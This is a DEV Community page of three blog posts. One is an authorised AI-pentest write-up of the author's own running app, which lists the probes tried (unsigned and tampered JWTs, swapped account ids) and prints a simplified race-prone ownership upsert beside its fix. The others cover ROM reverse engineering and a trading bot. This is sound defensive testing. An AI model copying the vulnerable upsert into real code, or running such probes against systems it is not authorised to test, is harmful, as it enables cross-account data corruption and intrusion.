DEV Community: Diogo Soares

AI Built My App. Another AI Found the Security Flaw

Diogo Soares — Wed, 11 Nov 2026 08:35:46 +0000

Two users send the same training-session id to the API at nearly the same time, each into their own account. Both requests come back 204 No Content. One user's data ends up in the other user's account.

That bug was in an app I built with Claude Code, with every security rule I know written into its instructions. An AI pentester spotted the race condition, and I confirmed it. The strangest part wasn't the bug: the agent tried to prove it, and its own model refused to run the test.

I gave Strix, an open-source AI pentester, the source code and a running copy of the API and asked it to break in. This post covers:

How I set up an AI pentester against a local copy of my app, on a ChatGPT subscription instead of a metered API key.
What the agents tried, what failed, and the one lead that became a confirmed bug.
How I triaged every lead by hand, fixed the bug and proved the fix, and why the report you need to read is not the summary.

The target: an app with security built in

The app is for runners: GPS-recorded runs, an interval timer with audio cues, a training plan and goals. The online account keeps all of that synced across devices, along with personal data such as how each workout felt and whether something hurt. That makes broken access control the most valuable class of bug to look for: one user reading or changing another user's runs, plans or account.

The defenses it already had before the scan:

Area	Defense
Passwords	Argon2id with OWASP parameters, dummy-hash check for unknown e-mails
Second factor	TOTP, enrollment only for accounts without TOTP, encrypted seeds
Tokens	EdDSA access JWT with a pinned algorithm and enforced `iss`/`aud`/`exp`; refresh tokens rotated with reuse detection
Brute force	Per-IP rate limits plus per-account progressive lockout on password and TOTP
Input	Strict schemas that reject unknown fields, reducing mass-assignment risk
Access control	Deny-by-default auth hook, resource ownership taken from the token, never from the body

None of that came from a one-off prompt. The repository keeps an architecture decision record (ADR) for every security choice and a set of instructions that Claude Code reads on every task: hash passwords with Argon2id, validate every input with a schema, check ownership on every request. The AI wrote code against written rules, and I reviewed it against the same rules.

I had already attacked it myself. The repository has end-to-end attack scripts that run against the real Docker image: user enumeration, 2FA bypass, mass assignment, a tampered JWT, a forged pagination cursor, IDOR on delete, refresh-token replay, cross-account access. Before the scan I ran all of them against the same image the AI would attack, and every check passed. So the question for the AI was not "can you find the basics?" but "can you find what I didn't think to test?"

There is one more twist. Most of the code was written with Claude Code, the attacker ran on an OpenAI model, and I triaged the results with Claude Code again. One vendor's AI wrote and checked the code, the other's attacked it.

The attacker: what Strix is

Strix runs autonomous AI agents as pentesters. A root agent plans the test and spawns specialized sub-agents, each with its own skills (IDOR, JWT attacks, SQL injection, race conditions). They work inside a Docker sandbox that has a terminal, an HTTP proxy and a browser, so they can read the code, send real requests and try to prove each issue.

That last part is the difference from the scanners most teams already run. A SAST tool matches patterns in code; a DAST tool sends payloads to a URL. Strix's README promises findings "validated through actual proofs-of-concept", which means an agent that reads the code, forms a hypothesis and then sends the requests to confirm or reject it.

In my run, the agents combined classic tools with reasoning. The source-mapping agent ran Opengrep (425 rules over 277 files), a structural search over 8,061 call sites, gitleaks for hardcoded secrets and Trivy for dependency advisories. The live agents then sent requests through the proxy to check what the code suggested.

The setup: model, scope and the flags that matter

Item	Value
Strix version	1.7.0, run from source
Model	GPT-6.1 Sol through my ChatGPT Plus subscription (`chatgpt/gpt-6.1-sol`), no API key
Targets	A copy of the source code plus the API running in local Docker containers
Data	Two test accounts with random passwords, no real user data
Scan mode	`quick`

strix auth login chatgpt                 # OAuth sign-in, the same flow as the Codex CLI
export STRIX_LLM="chatgpt/gpt-6.1-sol"   # chatgpt/<model> runs on the subscription
strix -n \
  -t ./my-app \
  -t http://host.docker.internal:3000 \
  --instruction-file ./scope.md \
  -m quick --scope-mode full

The scope file tells the agents what they may touch: the source tree (read only), the one live host, two accounts (alice and bob, each with their own data) and the priorities: first broken access control between the two accounts, then authentication and sessions, then input handling and business logic. Third-party integrations, e-mail and denial of service were out of scope.

Four details worth knowing:

Set --scope-mode full for a whole-app test. The default, auto, switches to reviewing only the pull request diff in CI runs. My laptop run would not have triggered it, but full makes the scope explicit wherever the command runs, including the day you move it into a pipeline.
-r is resume, not run name. One of my first attempts died instantly with "Cannot combine --resume with --target".
The model in the docs was not on my plan. chatgpt/gpt-5.4, the example in Strix's README, came back with "The 'gpt-5.4' model is not supported when using Codex with a ChatGPT account". The model my Codex CLI uses by default worked.
Local directories are mounted writable. The CLI help says so. I scanned a git archive copy with a neutral folder name, and afterwards I compared it with the commit: the agents had not changed a file.

Using a ChatGPT subscription outside OpenAI's own products is not officially supported by OpenAI, and Strix's source says so in the module that implements it. I accepted that for a one-off test and signed out afterwards. For anything regular, use an API key and the provider's security-testing program: Strix's provider docs say that frontier OpenAI, Anthropic and Gemini models need a cyber access program for security testing. I skipped that line. It came back to bite me, as you'll see below.

The attack, step by step

From the coverage report Strix writes next to the findings: every surface an agent examined, what it tried and the outcome.

Reconnaissance: what does the API look like?

A live agent signed in with both accounts, recorded the token format (a short-lived bearer JWT plus an opaque refresh token) and probed the public surface. It noticed in the source that API docs exist and asked for /docs and /docs/json: both returned 404, because docs are only served when a flag is on. In parallel, the source agent ran the scanners above and built a map of routes to use cases. Gitleaks found nothing; the only key-like strings were test fixtures.

Forging tokens: ruled out

The authentication agent read the token signer, saw the pinned algorithm and the required claims, and then tried to break it anyway: an unsigned alg: none token, edited sub, purpose and aud claims, an empty signature and a malformed bearer header. Every one returned 401. So did an access token used where a pending-2FA token was expected.

The near miss: logging out someone else

The agent controlled both test accounts, so it could play out a leaked-token scenario: what if alice gets hold of bob's refresh token, from a log or a screenshot, and uses it to end his session? Signed in as alice, it called logout with bob's refresh token. The API answered 204 No Content, which looks like success. The agent didn't stop at the status code. It immediately refreshed bob's session, which still worked: the logout use case only revokes a token that belongs to the caller and returns the same response either way. Ruled out, with evidence, in two requests.

Reading someone else's training data: ruled out

Then the attack I worried about most. Each account has its own space for plans and goals, identified by an id in the URL. The agent swapped alice's space id for bob's, and bob's for alice's, on the goal profile and plan preview endpoints. Every foreign id returned 404; the same calls on each user's own space returned 200. It also injected ownership fields into the request body, and the strict schemas rejected them with 400.

Re-authentication, refresh races and 2FA: ruled out

It sent extra userId fields to password change and account deletion (400) and wrong passwords (401). It deliberately did not change real passwords or delete accounts, which is what I'd want from a human tester too. It refreshed one token twice in parallel to look for a race in token rotation: one 200, one 401. And it read the 2FA enrollment code, then checked the edges it could reach without a valid code: an access token used to verify a sign-in, and confirming an enrollment that was never started, both 401.

The lead: two users, one id

While mapping the code, the source agent wrote a note about the repository that saves training-plan sessions:

Each transaction checks [ownership] via SELECT then upserts globally unique resource ID without [space] setWhere in conflict UPDATE. Sequential foreign IDs are rejected, but concurrent creation under two owned [spaces] may race; mapping agent did not dynamically test.

That is a time-of-check to time-of-use race, and it is exactly the kind of bug my own scripts could not find: they send one request at a time. The root agent spawned a dedicated validator to prove it with concurrent requests.

The model said no

The validator never got to its proof. Its call to the model came back with an error from OpenAI's side:

openai.APIError: This content was flagged for possible cybersecurity risk.
If this seems wrong, try rephrasing your request. If you're doing authorized
security work that requires more cyber permissive safeguards, apply for
Daybreak access [...]

The agent crashed. Later the same filter refused the root agent itself, and the run ended with status failed. The model had been fine reading code, forging JWTs and swapping account ids. In my run, the line was a race-condition exploit. That is one observation, not a rule: it doesn't show that the provider blocks every race-condition test.

This is the risk that's easy to miss in AI pentesting demos: the model's provider decides which attacks your pentester may run, and it can block any request in the middle of a scan. OpenAI offers Daybreak, its trusted access program for cyber work, which loosens these safeguards for vetted defenders (OpenAI says it doesn't remove every refusal). Anthropic has its Cyber Verification Program and Google its Fairwind Program. Without one, an OpenAI, Anthropic or Gemini model can refuse offensive tasks at any point.

What it found

Triage of the leads

A lead is not a finding. Strix filed zero vulnerabilities; it left three leads marked needs_follow_up. I reproduced each one by hand against the local API before calling it anything.

Lead from Strix	My verification	Result
Race in the plan upsert	200 concurrent same-id writes from two accounts	Confirmed (F-01)
`glob` and `minimatch` advisories through the optional API docs packages	Listed `node_modules` inside the runtime image: only the native password-hashing binding ships	Ruled out, not in the image
2FA enrollment and second-factor bypass	Full enrollment with a third test account and a real authenticator code: 17 checks, including replacing an active factor (`409`), skipping the code at sign-in and changing the password without it	Ruled out

F-01: concurrent writes with the same id cross into another user's data

Field	Value
Severity	Low: real integrity impact, but the attacker must know the victim's new id before it is saved
CWE / OWASP	CWE-367 (TOCTOU race) / A01:2021 Broken Access Control
Affected component	The plan repository, which saves plan sessions, workout templates and two other plan resources
Evidence	Both users get `204`, and the row ends up in one user's space with the other user's content
Root cause	Ownership checked with a `SELECT`, then an `INSERT ... ON CONFLICT DO UPDATE` with no ownership condition
Fix	The ownership condition moved into the upsert itself
Verification	A new concurrency attack check: 9 of 10 pairs both got `204` before the fix, none after

The pattern, simplified:

// Before (simplified; runs inside one transaction `tx`).
async saveSessions(spaceId: string, sessions: Session[]) {
  if (await this.anyIdOwnedByAnotherSpace(spaceId, sessions)) return false; // SELECT
  for (const session of sessions) {
    await tx
      .insert(plannedSessions)
      .values({ id: session.id, spaceId, ...values(session) })
      .onConflictDoUpdate({ target: plannedSessions.id, set: values(session) }); // no space check
  }
  return true;
}

The ids are UUIDs generated on the phone, so the server can't trust them to be new. The SELECT handles the sequential case: a foreign id is rejected with 409, and my own attack scripts confirm it. The concurrent case is different. Each request runs the check and the write inside its own transaction. Under PostgreSQL's default READ COMMITTED isolation, both transactions run the SELECT, both see no row, and both insert. The second insert waits on the unique index, and when the first commits, ON CONFLICT DO UPDATE updates the row that now exists, whoever owns it.

I sent 200 pairs of simultaneous requests, alice and bob each writing a new session with the same id into their own space:

alice / bob	Pairs
`204` / `204` (both "succeeded")	58
`204` / `409` (the check worked)	1
`429` / `429` (per-IP rate limit)	141

Afterwards the database held 58 sessions whose space did not match their athlete: 48 stayed in alice's space with bob's content, 10 the other way round. The first writer's session disappears from their week, and the second writer's data lives in someone else's account. Both users were told it worked.

Two things keep the severity low. My test gave both users the same id on purpose: it proves the isolation breaks under that condition, not that an outside attacker has a way to learn the id. A real attacker has to know the victim's id before the victim's request commits, and those ids are random UUIDs generated on the victim's phone; nothing in this test showed a way for another user to read them. And the rate limiter cut the attack short: 141 of 200 pairs never reached the database. But "low" is not "no": it is a broken isolation guarantee that my own tests could not see.

The other repositories (recorded runs, completed workouts, goals) already did this right: their upserts carry the owner inside the statement. Only the plan repository had the check in a separate query. Same rules, same AI, one file that drifted.

Fixing it and proving the fix

The fix is to stop asking first. The ownership condition goes into the write, so PostgreSQL decides it under the same lock that detects the conflict:

// After: the upsert only updates a row of the same space.
const written = await tx
  .insert(plannedSessions)
  .values({ id: session.id, spaceId, ...values(session) })
  .onConflictDoUpdate({
    target: plannedSessions.id,
    set: values(session),
    setWhere: eq(plannedSessions.spaceId, spaceId),
  })
  .returning({ id: plannedSessions.id });
if (written.length === 0) throw new IdOwnedElsewhere(); // rolls back; the API answers 409

When the existing row belongs to another space, setWhere is false, nothing is updated and returning gives an empty list. That rolls back the whole batch, and the API answers 409 as before. The separate SELECT is gone. Drizzle's setWhere maps to PostgreSQL's ON CONFLICT ... DO UPDATE ... WHERE.

The regression test is a new attack check in the same end-to-end suite: ten pairs of concurrent writes from two spaces, against the real Docker image. Each pair shares one id, and every pair gets a new one, so no pair can interfere with another. It must see one 204 and one 409 in every pair, and no session with an athlete from another space. Each run started from a fresh database, and no pair hit the rate limit. I ran it on the old code first, to be sure it fails for the right reason:

Code	Pairs	Sessions in the wrong space	Result
Before the fix	9 × `204/204`, 1 × `204/409`	3	`FAIL`
After the fix	10 × `204/409`	0	`PASS`

What was verified after the fix	Result
Concurrent same-id writes	Pass: 10 of 10 pairs `204/409`
Sessions stored in the wrong space	0
Rest of the attack suite (auth, plans, goals)	Pass
Full re-scan with Strix	Not run

The decision went into a new ADR: an ownership check is part of the write, never a separate read before it. Every AI-written change from now on is checked against it.

I did not re-scan with Strix, because the same model would hit the same filter. The claim is narrow on purpose: the reproduced attack no longer works under the same conditions. Not "the app is secure".

Read the coverage report, not the summary

The terminal summary counts filed vulnerabilities. Mine said zero. The files next to it tell you what that zero is worth:

File	What it said in my run
`run.json`	`status: failed`: the run did not finish
`coverage.json`	`complete: false`, 12 surfaces reviewed (4 no issue, 5 ruled out, 3 follow-ups) and 11 gaps
Gaps	Business logic, CSRF, SQL injection and SSRF were assigned to agents that recorded nothing, so they count as unexamined, not clean

Strix documents this. Its agent guide says a 0 exit code only covers what was analyzed and tells you to check run.json before calling a run clean. The leads are where the value is: the confirmed bug in this test started as a follow-up note, never as a filed vulnerability.

Methodology and limitations

The scan was partial. The model's safety filter ended it before the agents for business logic, input handling (SQL injection, SSRF) and cross-space access on the remaining endpoints recorded any coverage. Those areas are untested by this run, not passed.
One run is one sample. LLM agents are not deterministic, so another run can follow different paths and find different things.
Scope: the API and its source, in local Docker with test data. Not tested: any deployed environment, third-party integrations, e-mail flows (sign-up and password reset were off because the test stack has no e-mail delivery) and the mobile client.
Validation: a finding counts as confirmed only when I reproduced it by hand against the local API.
Cost and time: about 18 minutes of agent time, 201 model requests, 15.6M input tokens (3.8M from cache) and 41K output tokens, and no separate API bill. That came from an unofficial subscription-based integration, not a supported or guaranteed free way to run pentests.
No human benchmark: this was not compared with a manual pentest, so it says nothing about replacing one.

The verdict

The measurable part: 12 surfaces reviewed, zero filed vulnerabilities, three leads, one confirmed bug of low severity, two leads ruled out by hand, every attack the agents ran on authentication and tokens rejected, and every sequential cross-account attempt rejected; the one that got through was concurrent. The bug is fixed with a regression test that fails on the old code.

My opinion, clearly as opinion: the agents were good at the thing I can't do in a test suite, which is reading the code and asking "what if two of these happen at once?". They were also honest about what they hadn't proven. The weak points were not the agents but around them: a model that can refuse mid-scan, and a summary that says zero when the coverage report says incomplete.

As for the app: the AI appeared to follow the security rules I wrote. The flaw lived in the guarantee I hadn't explicitly required. Every attack that ran against a written rule failed, except one. The rule said "check ownership on every request"; it didn't say where. The check sat in a separate read, and concurrency slipped between the read and the write. Now the rule says "inside the write". Whether the rules hold for SQL injection, SSRF, CSRF and business logic, this run can't say.

Takeaway

Written rules make AI-written code testable. The ADRs and instructions told me what each defense was supposed to do, so every failed attack was a check against a rule, not a guess.
An agent reading the code can spot what one-request-at-a-time tests can't. It flagged the race; proving it took two users and concurrency.
The model's provider is part of your scope. Without a cyber access program, a frontier model can refuse in the middle of a scan.
Zero findings is not a clean bill of health. Check run.json and the coverage gaps before you trust the summary.
Triage by hand, then prove the fix. One lead was real, two were not, and the regression test had to fail before the fix to mean anything.

Do your API tests ever send two requests at the same time? I'd like to know how you test races in the comments.

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where every article becomes a Reel of under a minute. A video walkthrough of this test is coming to my YouTube channel, Diogo Soares Dev, so subscribe there to catch it. Let's also connect on LinkedIn, or check out diogosoares.dev.

I Let AI Reverse Engineer a GBA ROM. It Found the Gravity, Not the Jump

Diogo Soares — Mon, 09 Nov 2026 07:54:36 +0000

I have one of those retro multi-game consoles with thousands of Atari, Master System and SNES games on it. I copied a single file out of it: Aladdin Game.gba, 3,987,712 bytes of ARM machine code. No source, no symbols, no documentation.

Then I asked an AI to tell me how the hero jumps.

Not "describe the game". I wanted numbers: how fast he walks, how hard gravity pulls him down, what changes when you hold the jump button. The kind of values a game programmer typed into a C file in the early 2000s and that nobody outside that studio has seen since.

This post covers how that went: the toolkit I used for reverse engineering with AI (an open-source MCP server called REA), what Claude Opus 5.5 actually recovered from the ROM, what it could not find, and the original browser game I built on the recovered physics parameters, since I can't show the real game converted. Here's what came out of that experiment:

Why a GBA ROM is hard for reverse engineering with AI

A ROM is not a program in the way a .exe or a .js bundle is. There is no executable format to parse, no import table, no function names. The GBA loads it at a fixed address and starts executing.

What you usually have	What a GBA ROM gives you
Function names and symbols	Nothing. 1,700+ unnamed functions
A file format (PE, ELF, Mach-O)	A 192-byte header, then raw bytes
Library calls you can recognise	Writes to memory-mapped hardware registers
Floating point values	Fixed point integers, `0x180` means 1.5 pixels

A language model alone can't do much with that. It can't run Ghidra in its head, and if you paste hex into a chat it will guess. The useful setup is a model that drives a real disassembler and decompiler and has to cite what the tools returned.

That is what REA does.

The toolkit: REA, an MCP server for reverse engineering

REA (Reverse Engineer Anything) is an open-source MCP server. It exposes reverse engineering tools to an AI agent: open a binary, list procedures, decompile a function, find who calls it, read bytes, follow cross references. Under the hood it drives Ghidra, the reverse engineering suite the NSA released as open source in 2019.

Two things in REA's design matter for this kind of work:

Every result is evidence. Each tool call returns an evidence_id, the SHA-256 of the file analysed, the Ghidra version and a list of limitations. When Claude says "this function sets gravity to 0x38", I can trace it back to a specific decompiler output.
The original file is never modified. Ghidra imports an ephemeral copy, and annotations live in a session database that is deleted on close unless you ask for a snapshot.

Getting it running on my Mac took more work than the analysis itself, and REA was honest about each problem:

My Node was too old for REA, so I installed a newer one.
Homebrew's Ghidra was too new for REA 6.8.0. REA's doctor command refused it up front instead of failing halfway through an analysis, so I installed Ghidra 12.1.4 next to it.
The official Ghidra 12.1.4 zip has no native decompiler for Apple Silicon. Claude built it from the C++ source bundled in the zip, after a first build came out as x86_64 and had to be redone for arm64.

Once rea doctor was green, I registered the server in Claude Code, restarted, and the rea tools appeared in the session.

Full disclosure on the order of events: while REA was still refusing my Ghidra version, Claude did a first pass with Ghidra's headless scripts directly. Once REA worked, I had it redo the key steps through REA (load the ROM, the input routine, the gravity step, both state routines and their callers). The key values recovered through REA have evidence records, while supporting findings from the earlier headless analysis (the object layout, the apex flag, the BIOS calls) are identified separately.

Step 1: tell the tools what a GBA is

REA has no GBA loader, so the ROM goes in as a raw binary, and a raw binary needs the architecture and load address from the caller. So the first call was:

{
  "path": "Aladdin Game.gba",
  "format": "raw-binary",
  "architecture": "arm",
  "entry_point": "0x08000000"
}

0x08000000 is where the GBA maps the cartridge ROM, so every address in this post starts with 08. The header confirmed what the file was: title ALADDIN, game code BADP, where the final P marks the European release. It is the Capcom port of the SNES game, released in Europe in March 2004.

Ghidra's auto-analysis found 1,732 procedures and 448 strings. In the first headless pass, almost all the code turned out to be Thumb, the GBA's compact 16-bit instruction set, which is what a C compiler of that era produced. The ROM also calls the GBA BIOS for LZ77 decompression, division and square roots, and waits for each vertical blank before drawing the next frame.

Step 2: find the controller

On the GBA the buttons are a single 16-bit hardware register at 0x04000130, called KEYINPUT. It is active-low: a bit is 0 while the button is pressed. Any game that reads input reads that address.

Claude followed the references to that register and landed on a small function at 0x08014d9c. It reads KEYINPUT, inverts it, and remaps the ten GBA buttons bit by bit into a layout of the game's own. My hypothesis, and I mark it as one, is that this is a porting layer: the game logic came from the SNES version and expects SNES-style button bits, so the GBA port translates its buttons at the door.

That one function mattered because every routine that later asks "is jump held?" reads its output, not the hardware.

Step 3: find gravity

This is where the AI earned its keep. Searching 1,700 nameless functions by hand for "the jump" is days of work. Claude went the other way: look for a small function that adds one field of an object to another every frame.

It found it at 0x08010024. Cleaned up, with my names instead of Ghidra's, it does this:

// 0x08010024, called once per frame for objects affected by gravity
void apply_gravity(GameObject *object) {
    object->velocity_y += object->gravity;   // +0x30 += byte at +0x34
}

The offsets, together with what the headless pass found in the surrounding routines, gave the object layout: X position at +0x10, Y at +0x14, horizontal velocity at +0x28, vertical velocity at +0x30, and a one-byte gravity at +0x34. Positions use 1/256 of a pixel per unit, a common fixed-point choice on hardware without floating point.

REA's procedure_callers listed ten functions that call this gravity step. One of them, at 0x0800EFA0, was decompiled in the headless pass: it flips a "rising" or "falling" flag when vertical speed crosses 0x80. That is the apex of the jump.

The next question was who writes the gravity byte. The answer was a player state routine at 0x08018EE0:

// Simplified from Ghidra's output for 0x08018EE0
player->gravity = 0x38;
if (!other->flag_18 && (player->flags_32 & 0x80) && !another_flag) {
    player->gravity = 0x80;
}

So the player has two gravities. My guess is that bit 7 of +0x32 means airborne. The lighter one (0x38, less than half of 0x80) is the default inside this routine. Variable jump height in platformers is usually built exactly like this: light gravity while you keep holding the button, heavy gravity once you let go. I implemented it that way, but the exact meaning of those flags is my reading of the code, not something the ROM states.

Step 4: find the run speed

The same cluster of player routines (between 0x08018348 and 0x0801ADC4, mapped in the headless pass) had one more gift. The routine at 0x080191E0 caps horizontal velocity:

// Simplified from Ghidra's output for 0x080191E0
if (!input->flag_19) {
    if (player->velocity_x > 0x180) player->velocity_x = 0x180;
} else {
    player->velocity_x = 0x200;
}

I read flag_19 as the run button, but that is an interpretation. 0x180 is 1.5 pixels per frame, 0x200 is 2 pixels per frame. At 60 frames per second that is 90 and 120 pixels per second on a 240-pixel-wide screen.

What it found and what it didn't

Value	Result	Source
Walk speed cap	`0x180` (1.5 px/frame)	ROM, `0x080191E0`
Run speed	`0x200` (2 px/frame)	ROM, `0x080191E0` (my reading of the flag)
Light gravity	`0x38` per frame	ROM, `0x08018EE0`
Heavy gravity	`0x80` per frame	ROM, `0x08018EE0`
Apex threshold	`0x80`	ROM, `0x0800EFA0` (headless pass)
Jump velocity	not found	my choice, `-0x480`
Max fall speed	not found	my choice, `0x500`

Two of the most important numbers are missing. The jump impulse is probably loaded from a data table instead of written as a constant, and static analysis didn't connect the table to the routine. Running the game in an emulator with a debugger attached would likely answer it quickly. I chose to stop at static analysis and say so, rather than invent a value and call it recovered.

Why I didn't convert the real game

My first plan was to rebuild the opening level of the real game in JavaScript. Claude declined: the characters, art, levels and music belong to their owners, and a browser recreation would be a copy of them, credits or not. For the same copyright reasons, I won't show the real game converted here.

Physics constants are a different thing. "Gravity is 0x38" is a fact about how a program behaves, not a creative work. So we kept the numbers and built a new game around them, mixing worlds: the movement of a 2004 platformer on a Roman aqueduct at sunset.

The first draft had a running fox as the hero, and the graphics came out looking a lot like Sonic. I liked the mix of worlds, but I wanted a hero of my own, so the fox became a gladiator.

Arena Run: a browser game on the recovered physics

The final game is called Arena Run. You play an original gladiator crossing the aqueduct to the arena, with hooded bandits who chase you and lunge with a dagger, boars that charge when they see you, and crows flying in waves. One sword hit takes any of them down. Touching them costs a heart.

It is plain JavaScript and Canvas 2D at the GBA's native 240x160 resolution, scaled up with nearest-neighbour pixels. No game engine. The physics module carries the ROM values with a comment saying where each came from:

// Every value is in subpixels (1/256 px) per frame, at 60 frames per second.
export const PhysicsTuning = Object.freeze({
  walkSpeed: 0x180,     // ROM: speed cap in the routine at 0x080191E0
  runSpeed: 0x200,      // ROM: run branch of the same routine
  risingGravity: 0x38,  // ROM: gravity byte (+0x34) set at 0x08018EE0
  fallingGravity: 0x80, // ROM: written at 0x08018EE0 when three flags line up
  apexThreshold: 0x80,  // ROM: rising/falling flag at 0x0800EFA0
  jumpVelocity: -0x480, // not found in the ROM, my choice
  maxFallSpeed: 0x500,  // not found in the ROM, my choice
});

Two details keep it faithful to the hardware:

Integer subpixels. Positions and velocities are integers in 1/256 px, like the original, so there is no floating-point drift between a jump in my browser and a jump in your browser.
A fixed 60 Hz timestep. The GBA runs game logic once per vertical blank (about 59.73 times per second). The game loop accumulates real time and advances the physics in whole frames, so a 144 Hz monitor doesn't make the gladiator jump higher.

The enemies, hearts, sword and level are my design. The ROM gave me how the hero moves, not what he fights.

One more honest note about the clip at the top: it is a bot. I wrote a small search script that tries input sequences until it reaches the arena, mostly to prove the level can be finished. It does it in 22.8 seconds with 36 of 38 coins and every heart intact, and the recording replays its inputs in the real page frame by frame.

What impressed me, and where it stops

I expected a chatbot that talks confidently about ARM assembly. What I got was closer to a junior reverse engineer who works very fast:

It worked from evidence. The gravity and movement values recovered through REA map to evidence records tied to the ROM's hash. Values from the headless pass and my own tuning choices are identified separately. When something wasn't in the evidence (jump velocity), it said so.
It chose good search strategies. Looking for "a function that adds one byte field to another every frame" is how a human would find gravity. Doing it across 1,700 functions far faster than I could by hand is not.
It handled the boring setup. Version mismatches, a missing native decompiler, a JDK upgrade. That is where most reverse engineering sessions die.

And the limits:

Static analysis has a ceiling. Data tables, values computed at runtime and anything behind function pointers need a debugger or an emulator. REA has debugger tools for native processes, but answering this would need an emulator debugger such as mGBA's.
Interpretation is still on you. The decompiler shows that gravity becomes 0x80 when three flags line up. Saying "this is the jump button release" is a human judgement.
It is not a "convert this game" button. Getting from constants to a playable game took far more work than finding the constants, and copying the original's art and levels was never on the table.

FAQ

Is it legal to reverse engineer a ROM?
Analysing how software behaves for research and interoperability is treated differently from redistributing it, and the rules vary by country. What I published here are a few numeric constants and short, simplified decompiler excerpts. No ROM, no assets, and nothing you could run.

Could the AI do this without REA?
Without a decompiler, no: a model reading hex produces plausible-looking nonsense. Without REA, partly: the first pass here used Ghidra's headless scripts directly. What REA added is an evidence record with the file hash for every claim, which is what made the findings checkable.

Why Ghidra and not IDA or Hopper?
REA supports several providers. Ghidra is free and open source, which made the whole setup reproducible without a license.

How long did it take?
The setup took longer than the analysis. Repeating the key findings through REA took a handful of tool calls, because by then we knew where to look.

Takeaway

An AI reverse engineering a binary is only as good as its tools. REA plus Ghidra turned guesses into cited evidence.
Search by behavior, not by name. "Adds a byte to the vertical speed every frame" found the gravity routine among 1,700 unnamed functions.
Say what you didn't find. Jump velocity and max fall speed are missing, and the game says so in its own source code.
Facts are portable, creative work isn't. Numbers about how a program behaves can live in a new game. Characters and levels can't.

Which old game would you point this at first, and what would you want to know about how it works?

I'm Diogo Soares, a Staff AI Engineer working on AI agents and legacy modernization. If this was useful, follow me here on DEV.to and on Instagram at @diogosoares.dev, where every article becomes a visual carousel you can save. This article also gets a video walkthrough on my YouTube channel, Diogo Soares Dev, so subscribe there to see Arena Run in action. Let's also connect on LinkedIn, or check out diogosoares.dev.

I Built a Trading Bot with AI. It Lost 2.2%.

Diogo Soares — Fri, 06 Nov 2026 07:42:54 +0000

I gave an AI coding agent one job: build me a trading bot.

Not a toy script. A Python project that reads the market every day, runs statistics on price history, decides what to buy, how much and when to get out, and then does it on its own, with real money, while I sleep.

One month later, the account was down 2.2%. A boring global stock ETF, bought and never touched, was up 0.3% over the same month.

That's not the interesting part, though. The interesting part is the rule I set before a single line of code was written: no LLM was allowed to make a trading decision. The AI built the machine. It never got a vote on the trades.

This post covers why I made that rule, what the AI actually built, how the month went, and the test that made me stop: a version of the bot that made 26% on historical data and still lost.

This is not investment advice. It was a personal experiment in a closed lab, with a small amount of my own money I was prepared to lose. Nothing here is a recommendation to buy, sell or automate anything. Financial markets are aggressive, and the people on the other side of your trade usually have more data, more money and more experience than a side project.

The rule: no LLM in the decisions

When people hear "AI trading bot", they picture a chatbot reading the news and saying "buy". I deliberately built the opposite.

The AI (Claude Code wrote nearly all the code, and Codex reviewed it as a second opinion) was the engineer. The decisions came from fixed rules written in plain Python, applied the same way every time.

Why not let a language model decide?

I couldn't test it honestly. To know if a strategy works, you replay years of history and see what it would have done. A model may have read about those years during training, so it can "know" what happened next. A rule can't.
It doesn't answer the same way twice. Ask the same question on two days and you can get two different trades. I wanted a decision I could reproduce and explain.
It sounds confident when it's guessing. In a market, a confident guess with real money is the most expensive kind of mistake.

So the AI wrote the code, and the code made the calls. If the bot was wrong, I wanted to be able to point at the exact rule that was wrong.

What the AI built: statistics and a decision table

The project is a Python application built on the usual data stack: pandas and numpy for the math, yfinance and ccxt for market data, a scheduler that wakes it up after each market close, and a Telegram bot that tells me everything it does.

Every day it runs the same pipeline:

market data  ->  is the market trending?     (price vs. its 200-day average)
             ->  which stocks are strongest?  (momentum over 3, 6 and 12 months)
             ->  is there a setup today?      (4 statistical patterns)
             ->  score from 0 to 100          (trend, strength, volume, risk/reward)
             ->  position size by risk        (each trade risks 1% of the account)
             ->  send the order, place the stop, message me

The heart of it is a decision table. The market regime decides which strategies are allowed and how much risk to take:

Market regime	Strategies allowed	Risk
Uptrend (above the 200-day average, 50-day rising)	all four	100%
Undecided	pullback and mean reversion only	50%
Downtrend	none (the bot only buys)	0%

And each strategy is a simple statistical pattern with its own way in and out:

Strategy	When it buys	How it gets out
Trend pullback	price dips to its 20-day average in an uptrend	partial profit, then a trailing exit
Breakout	first close above the 20-day high, with strong volume	a profit target or a trailing stop
Mean reversion	a short-term oversold reading (RSI) above the 200-day average	back above the 5-day average, or after 10 days
Moving average cross	the 20-day average crosses above the 50-day	a profit target or the cross back down

None of these are secret. They are classic, well-known setups, and that's the point: I wanted to know whether old ideas, executed with perfect discipline by a machine, could earn anything.

The bot ran by itself on a small server, 24 hours a day. It was designed to check every market close, follow the rules the same way each time and place a protective stop on every trade, without my emotions in the loop. That discipline is the one thing a machine does better than me: it doesn't hesitate, chase a loss or move a stop because of a feeling.

One month with real money

Then I let it trade. Real money, no manual overrides, for one month.

What	Result
My account	-2.2%
A global ETF, bought and left alone	+0.3%
Closed trades	17
Trades that won	41%

A 2.2% loss is not a disaster in money terms, because each trade only risked 1% of the account. But the shape of the result told the real story: the wins were small and the losses were full. Every winning trade closed early with a little profit; most losing trades took the whole planned loss.

And one detail hurt more than the number: six of the 17 trades were stopped out and then recovered above the entry price within ten days. The bot sold inside normal price noise, exactly the kind of mistake I built it to avoid.

Seventeen trades is too few to judge any strategy. But it was enough to make me ask the harder question.

The test that made me stop

Instead of tweaking settings until the chart looked nice (the easiest way to fool yourself in trading), I did the opposite. With the AI's help, I wrote down the rules of the test before looking at any result:

Eight versions of the bot, listed in advance.
Pick the best one on one stretch of history.
Check it on a different stretch it wasn't chosen on.
One rule to pass: beat a global ETF that you simply buy and hold, without falling more than 10% along the way.

Here's what came back:

Version	Bot	Global ETF
The original rules	-4.3%	+21.9%
The best version, on the stretch it was chosen on	+22.0%	+21.9%
The best version, on a different stretch	+26.0%	+40.3%

The best version made 26%. It was profitable, it never fell more than 10%, and it stayed profitable even when I doubled the trading costs. By most hobby standards, that's a win.

I rejected it anyway. It made about 14 percentage points less than doing nothing with an index fund, with far more work and more risk. A strategy that loses to "buy and forget" isn't an edge. It's a hobby.

One more honest caveat: those historical tests use today's list of stocks, which quietly leaves out companies that collapsed or disappeared. That's survivorship bias, and it can make historical results look better than they really were.

Better AI, better code. Not better odds.

